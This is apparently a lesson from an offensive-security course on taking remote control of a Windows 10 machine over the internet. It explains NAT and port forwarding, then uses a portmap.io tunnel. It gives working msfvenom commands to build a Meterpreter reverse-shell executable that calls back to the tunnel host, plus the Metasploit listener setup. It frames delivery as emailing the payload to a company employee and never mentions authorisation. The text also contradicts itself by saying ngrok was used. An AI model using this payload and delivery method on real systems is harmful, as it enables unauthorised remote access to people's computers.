Hacking Windows over WAN

We successfully exploited a Windows 10 machine using a executable payload created via msfvenom. But in that demo, Both the machines was connected to my local network.

In real world engagements, you won't be hacking a computer within your network vicinity rather remotely anywhere over the internet. Let say, we want to hack into a company based in Singapore, you might deliver your payload by email to a company's employee but you won't get a connection back at your listener.

You know why ?

Because the IP address you are using is your Internal IP address. Remember NAT from Networking Refresher module, which translates private IP address to Public. So, on the internet you are known by your IP Public address not the private one.

Now, in order to get a connection back at your listener, you have to perform port forwarding.

Port forwarding allows computers or devices outside your home network to connect to a specific computer or service within your private home network.

Imagine your home network is a gated community. The router acts as the gatekeeper, controlling what traffic can enter and exit the community. By default, the gatekeeper (router) blocks all incoming connections from the outside world for security reasons.

Port forwarding is like poking a hole in the gate to allow specific incoming traffic to pass through to a designated house (computer/device) inside the gated community. Each type of traffic, like web browsing, gaming, etc., uses a different "port number" to communicate.

When you set up port forwarding on your router, you're telling the gatekeeper "If any incoming traffic arrives for this particular port number, forward it to this specific house inside the community." This allows computers/services outside your network to connect and communicate with a particular device within your private home network.

You can set up port forwading for you listener in your router's settings. But the problem with this is that, by doing so you are exposing yourself for the attack from the outside world.

Instead of doing this, we can use a tunneling tool called portmap.io.

portmap.io is a tool that allows us to access applications or services running on our local computer (like a website you're developing) from anywhere on the internet.

It acts like a tunnel that creates a secure pathway from the internet into our local computer, allowing others to access the applications running there.

Let see this practically:

```
sudo openvpn iys.iys.opvn
```

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=PORTMAPIP
LPORT=PORTMAPPORT -f exe -o payload.exe
```

```
msfconsole

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp

set LHOST 0.0.0.0

set LPORT 4444

exploit
```

0.0.0.0 - We use it when when we don't have a particular Ip address, Here we are binding the port instead of IP address, so we will use this so that all traffic that comes in is acceptable for the particular port

So, that is how we can perform hacking over the internet using Metasploit with the help of portmap.io. To perform port forwarding, ngrok is not the only one out there, there is ngrok, no-ip, packetriot and many more. I have chosen ngrok in this demonstration because, first its setup is easy and second its been around for a long time now. So, until it is working fine, you can relie on that, if in case something changes in the future, i will update you with the same.
